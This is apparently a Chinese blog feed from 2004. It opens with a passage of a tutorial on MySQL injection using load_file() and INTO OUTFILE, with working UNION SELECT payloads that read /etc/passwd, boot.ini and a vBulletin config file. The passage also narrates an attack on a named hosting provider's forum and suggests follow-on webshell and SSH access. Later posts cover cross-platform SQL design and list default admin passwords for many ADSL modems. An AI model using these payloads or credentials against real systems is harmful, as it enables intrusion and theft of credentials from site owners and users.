<P>　　如果该文件不存在，或因为上面的任一原因而不能被读出，函数返回空。比较难满足的就是权限，在windows下，如果NTFS设置得当，是不能读取相关的文件的，当遇到只有administrators才能访问的文件，users就别想load_file出来。</P>
<P>　　在实际的注入中，我们有两个难点需要解决：</P>
<UL>
<LI>绝对物理路径 
<LI>构造有效的畸形语句 </LI></UL>
<P>　　在很多PHP程序中，当提交一个错误的Query，如果display_errors = on，程序就会暴露WEB目录的绝对路径，只要知道路径，那么对于一个可以注入的PHP程序来说，整个服务器的安全将受到严重的威胁。构造语句已经是小意思了。</P>
<P><B>利用</B></P>
<P>　　我们假设一个程序的SQL语句如下：</P>
<TABLE cellSpacing=1 cellPadding=5 width="100%" align=center bgColor=#cccccc border=0>
<TBODY>
<TR>
<TD class=code bgColor=#eeeeee><FONT color=#0000ff>SELECT * FROM article WHERE articleid=$id</FONT></TD></TR></TBODY></TABLE>
<P>　　<I>注：当前条件：magic_quotes_gpc = off，c:/boot.ini可读。</I></P>
<P>　　此时，我们构造$id为：</P>
<TABLE cellSpacing=1 cellPadding=5 width="100%" align=center bgColor=#cccccc border=0>
<TBODY>
<TR>
<TD class=code bgColor=#eeeeee><FONT color=#0000ff>-1 union select 1,1,1,1,load_file('c:/boot.ini')</FONT></TD></TR></TBODY></TABLE>
<P>　　我们的Query就变成：</P>
<TABLE class=smfnt cellSpacing=1 cellPadding=5 width="100%" align=center bgColor=#cccccc border=0>
<TBODY>
<TR>
<TD class=code bgColor=#eeeeee><FONT color=#0000ff>SELECT * FROM article WHERE articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini')</FONT></TD></TR></TBODY></TABLE>
<P>　　程序会把c:/boot.ini内容老老实实显示出来，但是现在magic_quotes_gpc = off的主机少之又少，怎么才能构造出没有引号的语句呢？看过《SQL Injection with MySQL》的朋友肯定知道用char()函数或者把字符转换成16进制，没错，就是它们。</P>
<P>　　<I>注：当前条件：magic_quotes_gpc = on，c:/boot.ini可读。</I></P>
<P>　　我们构造$id为：</P>
<TABLE cellSpacing=1 cellPadding=5 width="100%" align=center bgColor=#cccccc border=0>
<TBODY>
<TR>
<TD class=code bgColor=#eeeeee><FONT color=#0000ff>-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))</FONT></TD></TR></TBODY></TABLE>
<P>　　“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代码，我们的Query就变成：</P>
<TABLE cellSpacing=1 cellPadding=5 width="100%" align=center bgColor=#cccccc border=0>
<TBODY>
<TR>
<TD class=code bgColor=#eeeeee><FONT color=#0000ff>SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))</FONT></TD></TR></TBODY></TABLE>
<P>　　我们也可以成功的读取boot.ini文件，还有把字符串转换为16进制的，“c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69”，所以上面的语句可以是这样：</P>
<TABLE cellSpacing=1 cellPadding=5 width="100%" align=center bgColor=#cccccc border=0>
<TBODY>
<TR>
<TD class=code bgColor=#eeeeee><FONT color=#0000ff>SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)</FONT></TD></TR></TBODY></TABLE>
<P>　　比较短了，看各人喜好了，大家可以在phpmyadmin或mysql&gt;下输入以下查询慢慢研究。</P>
<TABLE cellSpacing=1 cellPadding=5 width="100%" align=center bgColor=#cccccc border=0>
<TBODY>
<TR>
<TD class=code bgColor=#eeeeee><FONT color=#0000ff>SELECT load_file([string])</FONT></TD></TR></TBODY></TABLE>
<P>　　当然，在实际应用中，由于种种条件限制，文件的内容未必会显示出来，我们也可以用into outfile把文件导出。大家已经知道如何利用了，我也不说细节了，看一个实例说明一切。</P>
<P><B>实例</B></P>
<P>　　www.***host.cn是我国著名的FreeBSD主机提供商，我们就拿他来测试，因为它的论坛采用的是calendar.php存在问题的VBB论坛，我就不需要到处去找有漏洞的站点了（虽然到处都是）。这是一次完整的安全测试。仅仅获取信息，我并未进入服务器。</P>
<P>　　这里补充说明一点关于VBB的根目录下global.php的一段代码，如下：</P>
<TABLE cellSpacing=1 cellPadding=5 width="100%" align=center bgColor=#cccccc border=0>
<TBODY>
<TR>
<TD class=code bgColor=#eeeeee><FONT color=#0000ff>// get rid of slashes in get / post / cookie data<BR>function stripslashesarray (&amp;$arr) {<BR>　　while (list($key,$val)=each($arr)) {<BR>　　　　if ($key!="templatesused" and $key!="argc" and $key!="argv") {<BR>　　　　　　if (is_string($val) AND (strtoupper($key)!=$key OR ("".intval($key)=="$key"))) {<BR>　　　　　　　　$arr["$key"] = stripslashes($val);<BR>　　　　　　} else if (is_array($val) AND ($key == 'HTTP_POST_VARS' OR $key == 'HTTP_GET_VARS' OR strtoupper($key)!=$key)) {<BR>　　　　　　　　$arr["$key"] = stripslashesarray($val);<BR>　　　　　　}<BR>　　　　}<BR>　　}<BR>　　return $arr;<BR>} 
<P>if (get_magic_quotes_gpc() and is_array($GLOBALS)) {<BR>　　if (isset($attachment)) {<BR>　　　　$GLOBALS['attachment'] = addslashes($GLOBALS['attachment']);<BR>　　}<BR>　　if (isset($avatarfile)) {<BR>　　　　$GLOBALS['avatarfile'] = addslashes($GLOBALS['avatarfile']);<BR>　　}<BR>　　$GLOBALS = stripslashesarray($GLOBALS);<BR>}</P>
<P>set_magic_quotes_runtime(0);</P></FONT></TD></TR></TBODY></TABLE>
<P>　　这段代码的作用就是如果magic_quotes_gpc打开，就去掉所有特殊字符的前面的转义字符，所以，不管php.ini里magic_quotes_gpc的状态如何，我们输入的单引号都没有影响的，大家可以放心注入。呵呵。</P>
<P>　　我们知道，提交：</P>
<TABLE cellSpacing=1 cellPadding=5 width="100%" align=center bgColor=#cccccc border=0>
<TBODY>
<TR>
<TD class=code bgColor=#eeeeee><FONT color=#0000ff>/calendar.php?action=edit&amp;eventid=1 UNION SELECT 1,1,1,1,username,password FROM user WHERE userid=1</FONT></TD></TR></TBODY></TABLE>
<P>　　是可以获取用户名和密码MD5散列的，但是由于特殊原因，并没有显示出来，但凭我的经验，知道并没有构造错，所以我们可以读取并导出成文件。<BR>　　因为事先我无意中访问到了含有phpinfo()的文件，所以知道了WEB的绝对路径，从访问站点的结果，发现一个下载系统是生成HTML文件的，如果那个目录没有可写权限，是不能生成HTML文件的，不过这一切都不是本文的重点，我们现在掌握如下信息：</P>
<UL>
<LI>WEB绝对路径：/home/4ngel 
<LI>可写目录路径：/home/4ngel/soft/ 
<LI>magic_quotes_gpc = on </LI></UL>
<P>　　和主机root相比，论坛的admin根本就不算什么，我对论坛admin也不感兴趣，我们要读取论坛的配置文件还有/etc/passwd，知道MySQL的连接信息，可以从这里入手，写webshell或其他的东西，知道/etc/passwd我们可以跑密码。直接从ssh上去。</P>
<P>　　VBB论坛的配置文件在/home/4ngel/forum/admin/config.php,转换成ASCII代码，提交：</P>
<TABLE cellSpacing=1 cellPadding=5 width="100%" align=center bgColor=#cccccc border=0>
<TBODY>
<TR>
<TD class=code bgColor=#eeeeee><FONT color=#0000ff>calendar.php?action=edit&amp;eventid=1 UNION SELECT 1,1,1,1,1,load_file(char(47,104,111,109,101,47,52,110,103,101,108,47,102,111,114,117,109,47,97,100,109,105,110,47,99,111,110,102,105,103,46,112,104,112)) FROM user WHERE userid=1 into outfile '/home/4ngel/soft/cfg.txt'</FONT></TD></TR></TBODY></TABLE>
<P>　　呵呵，记得加一个where来定一个条件，否则如果论坛用户很多，那么导出的文件会相当大。或者干脆指定$eventid为一个不存在的值，就不用where了，就像这样：</P>
<TABLE cellSpacing=1 cellPadding=5 width="100%" align=center bgColor=#cccccc border=0>
<TBODY>
<TR>
<TD class=code bgColor=#eeeeee><FONT color=#0000ff>calendar.php?action=edit&amp;eventid=-1 UNION SELECT 1,1,1,1,1,load_file(char(47,104,111,109,101,47,52,110,103,101,108,47,102,111,114,117,109,47,97,100,109,105,110,47,99,111,110,102,105,103,46,112,104,112)) FROM user into outfile '/home/4ngel/soft/cfg.txt'</FONT></TD></TR></TBODY></TABLE>
<P>　　/etc/passwd转换成ASCII代码，提交：</P>
<TABLE cellSpacing=1 cellPadding=5 width="100%" align=center bgColor=#cccccc border=0>
<TBODY>
<TR>
<TD class=code bgColor=#eeeeee><FONT color=#0000ff>calendar.php?action=edit&amp;eventid=-1 UNION SELECT 1,1,1,1,1, load_file (char(47,101,116,99,47,112,97,115,115,119,100)) FROM user into outfile '/home/4ngel/soft/etcpwd.txt'</FONT></TD></TR></TBODY></TABLE>
<P>　　注意看到论坛的顶部，会出现下面的错误提示：</P>
<TABLE cellSpacing=1 cellPadding=5 width="100%" align=center bgColor=#cccccc border=0>
<TBODY>
<TR>
<TD class=code bgColor=#eeeeee><FONT color=#0000ff>Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/4ngel/forum/admin/db_mysql.php on line 154</FONT></TD></TR></TBODY></TABLE>
<P>　　经验告诉我们，文件导出成功了，提交：</P>
<TABLE cellSpacing=1 cellPadding=5 width="100%" align=center bgColor=#cccccc border=0>
<TBODY>
<TR>
<TD class=code bgColor=#eeeeee><FONT color=#0000ff>http://www.xxxhost.cn/soft/cfg.txt<BR>http://www.xxxhost.cn/soft/etcpwd.txt</FONT></TD></TR></TBODY></TABLE>
<P>　　内容哗啦啦的出来了，而黑夜和猪蛋的他们入侵灰色的时候，一个个显示密码，欺骗，登陆后台，上传后门，读取config.php，一连串的步骤，我一个load_file()就搞定了。是不是危害很大？如图：</P>
<P align=center><IMG height=498 src="http://www.4ngel.net/img/cfg.gif" width=630></P>
<P align=center><IMG height=537 src="http://www.4ngel.net/img/etcpwd.gif" width=586></P>
<P>　　我记得在某个群里讨论到大家都是通过搞9****.net这个站，而进入黑白服务器的，没有办法对黑白横冲直闯，只得来曲线的。用load_file()函数，知道了某些信息就可以进入黑白所在的服务器，过程和上面的一样，利用show.php的漏洞，直接load_file出程序的配置文件，知道了mysql的信息，远程连接，写数据库导出文件，很容易获得服务器admin。</P>
<P><B>后记</B></P>
<P>　　由于危害太大，我一直都不太敢发布，相信国内也有人知道的。只是不公开而已。经过再三考虑还是决定发布了，希望大家掌握了以后，不要对国内的站点做任何具有破坏性的操作。谢谢合作！</P></TD></TR>
<TR>
<TD></TD></TR>
<TR>
<TD align=right>【<A href="javascript:window.print()"><FONT color=#636194>打印这篇文章</FONT></A>】【<A href="javascript:window.close()"><FONT color=#636194>关闭该窗口</FONT></A>】</TD></TR>
<TR>
<TD align=middle><B></B></TD></TR></TBODY></TABLE><!--sp--><div class="relpost"><br/><h3>随机文章：</h3><div><a href="http://mrshelly.blogbus.com/logs/577959.html">Google 的评语</a> 2005-01-14</div><div><a href="http://mrshelly.blogbus.com/logs/1299855.html">MSComm控件使用详解</a> 2005-01-01</div><div><a href="http://mrshelly.blogbus.com/logs/444831.html">数据库的跨平台设计</a> 2004-10-16</div><div><a href="http://mrshelly.blogbus.com/logs/435459.html">部分ADSL猫的默认密码</a> 2004-10-11</div><div><a href="http://mrshelly.blogbus.com/logs/400871.html">如何修改论坛头象为外部URL</a> 2004-09-21</div></div><div class="addfav"><br />收藏到：<span class= "delicious"><a href="http://delicious.com/save?url=http%3A%2F%2Fmrshelly.blogbus.com%2Flogs%2F459367.html&title=Advanced+SQL+Injection+with+MySQL">Del.icio.us</a></span></div>]]></description>
   <link>http://mrshelly.blogbus.com/logs/459367.html</link>
   <author>shelly</author>
   <pubDate>Mon, 25 Oct 2004 06:02:11 +0800</pubDate>
  </item>
  <item>
   <title>数据库的跨平台设计</title>
   <description><![CDATA[<P><B><FONT color=#ff0000 size=3>数据库的跨平台设计&nbsp;<BR></FONT></B><BR>作者： BUILDER.COM<BR>来源：ZDNet<BR>2002/5/8<BR><BR><BR>开发者们应该知道，使用那些非标准的SQL命令（比如Oracle、微软和MySQL等数据库系统）存在程度相当高的危险。也就是说，从跨平台和遵守标准的角度出发，你应该尽量采用ANSI SQL，它是一种和平台无关的数据库语言。不管你在使用哪种数据库系统，如果它完全支持SQL那么它就应该支持ANSI SQL-92标准。可是，“应该支持”和“确实支持”完全是两码事。在进行DBMS跨平台编程的时候，并不是所有的系统都完全支持ANSI SQL标准。这篇文章主旨就是提出使用非标准SQL时所存在的风险及其相关的建议。<BR><BR><BR><B>别使用存储过程<BR></B><BR>在某些编程环境下，出于效率和安全等方面的原因，存储过程成为程序员开发数据库应用程序的唯一方法。Visual Basic、C和Java程序员都并不需要了解SQL。然而，在其他某些编程环境下，存储过程又是完全禁用的。MySQL通常和Apache Web服务器组合使用，这是因为这两种软件不仅免费、可靠而且功能强大，但是，恰恰是MySQL不支持存储过程。<BR><BR><BR>--------------------------------------------------------------------------------<BR><BR><B>存储过程的定义&nbsp;<BR></B>所谓存储过程就是组成一个逻辑单元而且执行特别任务的一组SQL语句。存储过程用来封装针对数据库服务器的一整套操作或查询。<BR><BR>--------------------------------------------------------------------------------<BR><BR>Oracle和SQL服务器两者都包括了“内建”的存储过程，其使用也是很方便的。可是，如果明智的话千万别指望它们，你无法保证数据库管理员是否锁定、删除或修改了这些存储过程。如果你发现可用的某些存储过程正是你需要的，你这才可以在自己的代码中使用它们的功能。<BR><BR>通常，你能在Oracle或SQL Server上使用存储过程但在MySQL上则无法利用。如果你确实用到了它们，那么你得保证自己没有用到同特定平台相关的命令（以后讨论）。<BR><BR><B>别使用连接<BR></B>连接是Oracle和SQL Server 这两种DBMS上令人头痛的一个问题，因为这两种系统在连接的概念上有根本的不同。基本上，各个DBMS的连接工作原理不总是一样的，而且你最终可能会得到意外的结果集合。在我们谈论各个系统有关连接的概念差别以及如何解决这些问题之前，你应该理解基本的连接子句：<BR><BR>连接<BR>Join（连接）是从多个数据源获取数据的SQL数据表创建命令。&nbsp;<BR>等连接<BR>Equi-Join从两个独立的数据源获取数据并把它们组合成一个大表。&nbsp;<BR>内/外连接<BR>内连接（Inner Join）把两个表的内部列连接起来。外连接把两个表的外部列连接起来。&nbsp;<BR>左/右连接<BR>左连接（Left Join）连接两个表左边的列。右连接则连接两个表右边的列。&nbsp;<BR>复合/复杂连接<BR>其他各种连接—左/内、左/外、右/内和右/外等。&nbsp;<BR>反正你得记清楚了，如果你想要自己的应用程序能在各种数据库服务器上都能工作那么就别使用连接。<BR><BR>ANSI SQL：CREATE, DROP, ADD, UPDATE, DELETE, INSERT, SELECT<BR>总之，你应当用到的唯一命令如下：&nbsp;<BR><BR>数据定义语言（DDL）下的CREATE 和DROP。&nbsp;<BR>数据操作语言（DML）下的ADD、UPDATE、DELETE和INSERT 。&nbsp;<BR>获取数据的SELECT。&nbsp;<BR>如果你在这些命令中使用了区分大小写的表格或字段名，或者这些名字包含了空格或其它特殊字符，那么你最好用方括号把名字围起来。这样做有助于防止非标准字符引发DBMS的不正常反应。<BR><BR><BR><BR>引用的完整性：键和数据类型<BR><BR>使用关系数据库的决定性原因就是明确数据之间的关系而且维持那些关系的完整性。这样才能让开发者以最小的冗余性、最高效的方式存储数据。键定义了关系。数据类型定义了存储和操作数据的规则。这些就是一个数据库的基本方面，但是具体的语法却可能因为数据库的不同而不同。<BR><BR>数据类型<BR>只有很少部分的数据类型得到所有数据库服务器的支持。每一种DBMS都有它自己的数据类型以及为什么要这样使用它们的原因。某些专有数据类型（比如Microsoft Access的AUTONUMBER）用起来确实相当方便。<BR><BR>以下是ANSI数据类型：<BR>BIT, CHARACTER, DATE, DECIMAL, DOUBLE PRECISION, FLOAT, INTEGER, INTERVAL, NUMERIC, REAL, SMALLINT, TIMESTAMP, TIME, VARBIT, VARCHAR, CHAR<BR><BR>以下是Oracle/Access/SQL不支持的“标准”数据类型：<BR>INTERVAL, TIME, VARBIT<BR><BR>只有Oracle才支持DATE，但是以下的“标准”数据类型不被Oracle支持：<BR>BIT, DECIMAL, NUMERIC, TIMESTAMP<BR><BR>以下的“标准”数据类型不被Access支持：<BR>BIT, CHARACTER, DATE, NUMERIC, SMALLINT, TIMESTAMP<BR><BR>这样，只有以下的数据类型可以保证在各类数据库上都能使用：<BR>DOUBLE PRECISION, FLOAT, INTEGER, NUMERIC, REAL, SMALLINT, VARCHAR, CHAR<BR><BR><BR><BR>主/外键<BR><BR>假设某个表内有两个字段，创建这个表的语法如下：&nbsp;<BR>CREATE TABLE [MyTable] ([FieldA] VARCHAR, [FieldB] VARCHAR);<BR><BR>为了添加主键以便表内的每一条记录都唯一标识你可以采用PRIMARY KEY 表达式：<BR>CREATE TABLE [MyTableA] ([RecordID] VARCHAR PRIMARY KEY, [FieldA] VARCHAR, [FieldB] VARCHAR);<BR><BR>在创建另一个表，其中一个字段索引第1个表，你可以把该字段定义为同第1个表的字段具有关系的外键：<BR><BR>CREATE TABLE [MyTableB] ([RecordID] VARCHAR PRIMARY KEY, [FieldA] VARCHAR, [FieldB] VARCHAR, [FieldC] VARCHAR REFERENCES [MyTableA]([FieldA]))<BR><BR>在以上例子中，所有的字段都是VARCHAR类型；但是你得记住，某一数据类型字段只能索引同一数据类型的字段。<BR><BR><BR><B>ODBC 和 JDBC<BR></B>如果你在编写的应用程序要用到SQL数据库连接，那么你可以用ODBC完成该功能。如果它是一个Java应用程序则可以用JDBC（简而言之就是ODBC的Java接口）。<BR><BR>因为你希望自己的应用程序最好不要引起管理员的注意，所以你应该为你用户的DBMS包括所有必要的ODBC驱动程序。这样，如果用户从一个平台转移到另一个平台，它们所需要的驱动程序却已经事先拥有了。<BR><BR>你的应用程序应该通过编程的方式决定当前用到的ODBC驱动程序对应何种DBMS。这样你才能用上那些数据库服务器上强大的、同特定平台相关的命令。<BR><BR><B>另类浏览器之战&nbsp;<BR></B>最流行的浏览器当然是微软的Internet Explorer和Netscape的Navigator了。但是，不管你手头用的是哪一种，它能保证支持现有的所有网站吗？错！很多花哨的东西，比如DHTML、框架以及多媒体等等都各自受到两类浏览器中非标准的HTML标签的支持。<BR><BR>因为程序在这两种国际标准的岔路口无所适从，所以你必须为两种浏览器编写代码或者编写最具普遍性的功能代码而放弃大量的动态内容。<BR><BR>数据库服务器也面临同样的问题。ANSI SQL-92是人人赞同的标准。然而，Oracle、微软以及其他数据库厂商还自作主张加入了很多破坏SQL代码的特性。因此，你不仅得编写遵从基本规范（SQL-92）的代码，而且的代码还得根据具体用到的产品实现不同的特性。<BR><BR>在你自己的应用程序内，你必须正确地决定应用程序将使用什么类型的数据库，而且数据库应该定位在哪里。你还得老练地处理应用程序或用户产生的任何错误。你当然不希望仅仅因为文件被删除或者网线连接松弛就导致程序崩溃（或服务器崩溃）。在经过精心设计的网络上，数据库服务器通常同工作站和Web服务器、应用服务器在物理上相分离，因此断开连接是很常见的。<BR><BR><B>小结&nbsp;<BR></B>作为Web开发者，你需要对应用程序使用非标准SQL命令的危险保持高度的小心。这篇文章的中心思想是建议用ANSI SQL编写跨平台的应用程序。利用ANSI SQL减少商业数据库系统的非标准方言所带来的头疼问题。</P>
<P><A href="http://www.sawin.com.cn/doc/SD/Database/spandb.htm">http://www.sawin.com.cn/doc/SD/Database/spandb.htm</A></P><!--sp--><div class="relpost"><br/><h3>随机文章：</h3><div><a href="http://mrshelly.blogbus.com/logs/577959.html">Google 的评语</a> 2005-01-14</div><div><a href="http://mrshelly.blogbus.com/logs/1299855.html">MSComm控件使用详解</a> 2005-01-01</div><div><a href="http://mrshelly.blogbus.com/logs/459367.html">Advanced SQL Injection with MySQL</a> 2004-10-25</div><div><a href="http://mrshelly.blogbus.com/logs/435459.html">部分ADSL猫的默认密码</a> 2004-10-11</div><div><a href="http://mrshelly.blogbus.com/logs/400871.html">如何修改论坛头象为外部URL</a> 2004-09-21</div></div><div class="addfav"><br />收藏到：<span class= "delicious"><a href="http://delicious.com/save?url=http%3A%2F%2Fmrshelly.blogbus.com%2Flogs%2F444831.html&title=%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E8%B7%A8%E5%B9%B3%E5%8F%B0%E8%AE%BE%E8%AE%A1">Del.icio.us</a></span></div>]]></description>
   <link>http://mrshelly.blogbus.com/logs/444831.html</link>
   <author>shelly</author>
   <pubDate>Sat, 16 Oct 2004 07:34:21 +0800</pubDate>
  </item>
  <item>
   <title>部分ADSL猫的默认密码</title>
   <description><![CDATA[<P>艾玛 701g<BR>192.168.101.1&nbsp;&nbsp;192.168.0.1<BR>用户名：admin&nbsp;&nbsp; 密码：admin<BR>用户名：SZIM&nbsp;&nbsp;&nbsp;&nbsp;密码：SZIM<BR><BR>艾玛701H<BR>192.168.1.1&nbsp;&nbsp; 10.0.0.2<BR>用户名：admin 密码：epicrouter<BR><BR>实达2110EH ROUTER<BR>192.168.10.1<BR>用户名：user&nbsp;&nbsp;&nbsp;&nbsp;密码：password<BR>用户名：root&nbsp;&nbsp;&nbsp;&nbsp;密码：grouter<BR><BR>神州数码/华硕：<BR>用户名：adsl 密码：adsl1234<BR><BR>全向：<BR>用户名：root 密码：root<BR><BR>普天：<BR>用户名：admin 密码：dare<BR><BR>e-tek<BR>用户名:admin 密码:12345<BR><BR>zyxel<BR>用户名:anonymous&nbsp;&nbsp; 密码:1234<BR><BR>北电<BR>用户名:anonymous&nbsp;&nbsp; 密码:12345<BR><BR>大恒<BR>用户名：admin&nbsp;&nbsp;&nbsp;&nbsp; 密码：admin<BR><BR>大唐<BR>用户名：admin&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 密码：1234<BR><BR>斯威特<BR>用户名：root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;密码：root<BR>用户名：user&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 密码：user<BR>中兴<BR><BR>用户名：adsl&nbsp;&nbsp;&nbsp;&nbsp; 密码：adsl831 (中兴的adsl的密码前面为adsl，后面为型号,比如中兴831，密码就是adsl831)<BR><BR>1、全向QL1680 IP地址10.0.0.2，用户名：admin，密码：qxcomm1680，管理员密码：qxcommsupport。全向<BR>QL1880 IP地址192.168.1.1，用户名：root，密码：root 全向QL1688 IP地址10.0.0.2，用户名为admin；密码为qxcomm1688 <BR>2、TP-LINK TD-8800在IE输入192.168.1.1,户名admin,密码admin<BR>3、合勤zyxel 642 在运行输入telnet 192.168.1.1 密码1234 <BR>4、Ecom ED-802EG 在IE输入192.168.1.1，用户名和密码都为root <BR>5、神州数码6010RA，在IE输入192.168.1.1　用户名为ADSL，密码为ADSL1234<BR>6、华为SmartAX MT800的初始IP是192.168.1.1，用户名和密码都为ADMIN，恢复默认配置的方法有两种，一种是连续按MODEM背后的RESET键三次，另一种是在配置菜单的SAVE&amp;REBOOT里选择恢复默认配置。 <BR>7、伊泰克：IP：192.168.1.1 用户名：supervisor 密码：12345 <BR>8、华硕IP：192.168.1.1 用户名：adsl 密码：adsl1234 <BR>9、阿尔卡特 192.168.1.1 一般没有密码 <BR>10、同维DSL699E 192.168.1.1 用户名：ROOT 密码：ROOT <BR>11、大亚DB102 192.168.1.1 用户名：admin 密码：dare 高级设置://192.168.1.1/doc/index1.htm <BR>12、WST的RT1080 192.168.0.1 username:root password:root <BR>13、WST的ART18CX 10.0.0.2 username:admin password:conexant username:user password:password <BR>14、实达V3.2　root root V5.4　root grouter <BR>15、泛德　admin conexant <BR>16、东信Ea700 192.168.1.1用户名：空 密码：password <BR>17、broadmax的hsa300a 192.168.0.1 username:broadmax password:broadmax <BR>18、长虹ch-500E 192.168.1.1 username:root password:root <BR>19、重庆普天CP ADSL03 192.168.1.1 username:root password:root <BR>20、台湾突破EA110 RS232:38400 192.168.7.1 username:DSL psw:DSL <BR>21、etek-td的ADSL_T07L006.0 192.168.1.1 User Name: supervisor<BR>Password: 12345 忘记密码的解决办法： 使用超级终端的Xmodem方式重写Vxworks.dlf，密码恢复成：12345 22、GVC的DSL-802E/R3A 10.0.0.2 username:admin password:epicrouter username:user password:password<BR>23、科迈易通km300A-1 192.168.1.1 username: password:password 科迈易通km300A-G 192.168.1.1 username:root password:root 科迈易通km300A-A 192.168.1.1 username:root or admin password:123456<BR>24、sunrise的SR-DSL-AE 192.168.1.1 username:admin password:0000 sunrise的DSL-802E_R3A 10.0.0.2 username:admin password:epicrouter username:user password:password <BR><BR>25、UTStar的ut-300R 192.168.1.1 username:root or admin password:utstar 这些都是一些ADSL设奋的出厂时的默认初始IP，用户名和密码，是要调试这些设奋时必须要知道的东西。 一般调试这些设奋有三种方法，一种是最常见的WEB方法，就是在浏览器中填入设奋的IP，如QX1680，就是在浏览器地址栏输入10.0.0.2，出现提示栏后，输入用户名admin，密码qxcommsupport,就可以管理员设置界面了。最常见和最简单的就是这种方法。 第二种方法就是用TELNET的方法，telnet IP,如早期的合勤642，方法telnet 192.168.1.1,然后输入密码1234,就可以进入全英文的字符界面了。 第三种方法就是用厂商自带的配置程序来进入配置界面，如CyberLink 6307/6309KG 它使用在随Cybrlink 6307/6309KG带的光盘中DSLCom.exe， 出厂时默认值：路由IP地址 :1 92.168.1.1密码 : stm，由于这种方法没有前两种方法方便，所以现在的低端产品比较少采用了。 绝大部分产品的调试都是要先通过产品自带的双绞线连接设奋后，把本机网卡的IP设置成跟该设奋同一网段，再进行配置，如设奋被改了默认的IP或者密码，大部分都可以通过复位来恢复出厂默认值。最常用也是最有用的方法就是把设奋断电后，一直按住复位键，然后通电，持续一小段时间后就可以恢中达通CT-500 192.168.1.1 root/12345 <BR>26.中兴adsl841默认IP：192.168.1.1，UserName：admin，Password：private<BR><BR>成都天逸&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 用户名：admin&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;密码：epicrouter<BR><BR>上海中达&nbsp;&nbsp;&nbsp;&nbsp;用户名：（随意）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 密码：12345<BR><BR>各位用ADSL的朋友，在拿到ADSL猫后，应及时修改默认密码，以免被人所利用<BR><BR><BR>****************************************************************************<BR>ADSL MODEM初始地址及用户名密码大全 <BR>要调试这些设奋，要先把网卡的IP地址设置成跟这些ADSL设奋相同的网段 <BR>1、全向QL1680在IE浏览器的地址栏里面敲入IP地址10.0.0.2，的用户名是admin出厂时默认值：密码是qxcomm1680，管理员密码是 qxcommsupport <BR>2、全向QL1880在IE浏览器的地址栏里面敲入IP地址192.168.1.1，的用户名是root出厂时默认值：密码是root <BR>3、全向QL1688在IE浏览器的地址栏里面敲入IP地址10.0.0.2，用户名为admin；出厂时默认值：密码为qxcomm1688 <BR>4、CyberLink 6307/6309KG 它使用在随Cyberlink6307/6309KG带的光盘中DSLCom.exe， 出厂时默认值：路由IP地址 : 192.168.1.1密码 : stm <BR>5、TP-LINK TD-8800在IE输入192.168.1.1,户名admin,密码admin. <BR>6、合勤zyxel 642 在运行输入telnet 192.168.1.1 密码1234,一直按住机身后面的的RESET复位键然后开机，保持几十秒就可以恢复出厂默认 值。 <BR>7、Ecom ED-802EG 在IE输入192.168.1.1，用户名和密码都为root <BR>8、神州数码6010RA，在IE输入192.168.1.1　用户名为ADSL，密码为ADSL1234 <BR>9、华为SmartAX MT800的初始IP是192.168.1.1，用户名和密码都为ADMIN，恢复默认配置的方法有两种，一种是连续按MODEM背后的RESET键三 次，另一种是在配置菜单的SAVE&amp;REBOOT里选择恢复默认配置。 <BR><BR>伊泰克 <BR>http://192.168.1.1/ <BR>用户名：supervisor <BR>密码：12345 <BR><BR>华硕 <BR>http://192.168.1.1/ <BR>用户名：adsl <BR>密码：adsl1234 <BR><BR>阿尔卡特 <BR>http://192.168.1.1/ <BR>一般没有密码 <BR><BR>同维DSL699E <BR>http://192.168.1.1/ <BR>用户名：ROOT <BR>密码：ROOT <BR><BR>大亚DB102 <BR>http://192.168.1.1/ <BR>用户名：admin <BR>密码：dare <BR>高级设置界面：http://192.168.1.1/doc/index1.htm <BR>WST的RT1080 <BR>http://192.168.0.1/ <BR>username:root <BR>password:root <BR><BR>WST的ART18CX <BR>http://10.0.0.2/ <BR>username:admin <BR>password:conexant <BR>username:user <BR>password ：assword <BR><BR>全向qxcomm1688 <BR>http://192.168.1.1/ <BR>高端设置密码是：qxcommsuport <BR><BR>全向qxcomm1680 <BR>http://192.168.1.1/ <BR>登陆ADSL的密码是:qxcomm1680 <BR><BR>实达 <BR>V3.2　root <BR>root <BR>V5.4　root <BR>grouter <BR><BR>泛德 <BR>admin <BR>conexant <BR><BR>东信Ea700 <BR>http://192.168.1.1/ <BR>用户名：空 <BR>密码：password <BR><BR>broadmax的hsa300a <BR>http://192.168.0.1/ <BR>username:broadmax <BR>password:broadmax <BR><BR>长虹ch-500E <BR>http://192.168.1.1/ <BR>username:root <BR>password:root <BR><BR>重庆普天CP ADSL03 <BR>http://192.168.1.1/ <BR>username:root <BR>password:root <BR><BR>台湾突破EA110 <BR>RS232:38400 <BR>http://192.168.7.1/ <BR>username SL <BR>psw SL <BR><BR>etek-td的ADSL_T07L006.0 <BR>http://192.168.1.1/ <BR>User Name: supervisor <BR>Password: 12345 <BR>忘记密码的解决办法： <BR>使用超级终端的Xmodem方式重写Vxworks.dlf，密码恢复成：12345 <BR><BR>GVC的DSL-802E/R3A <BR>http://10.0.0.2/ <BR>username:admin <BR>password:epicrouter <BR>username:user <BR>password assword <BR><BR>科迈易通km300A-1 <BR>http://192.168.1.1/ <BR>username: <BR>password assword <BR><BR>科迈易通km300A-G <BR>http://192.168.1.1/ <BR>username:root <BR>password:root <BR><BR>科迈易通km300A-A <BR>http://192.168.1.1/ <BR>username:root or admin <BR>password:123456 <BR><BR>sunrise的SR-DSL-AE <BR>http://192.168.1.1/ <BR>username:admin <BR>password:0000 <BR><BR>sunrise的DSL-802E_R3A <BR>http://10.0.0.2/ <BR>username:admin 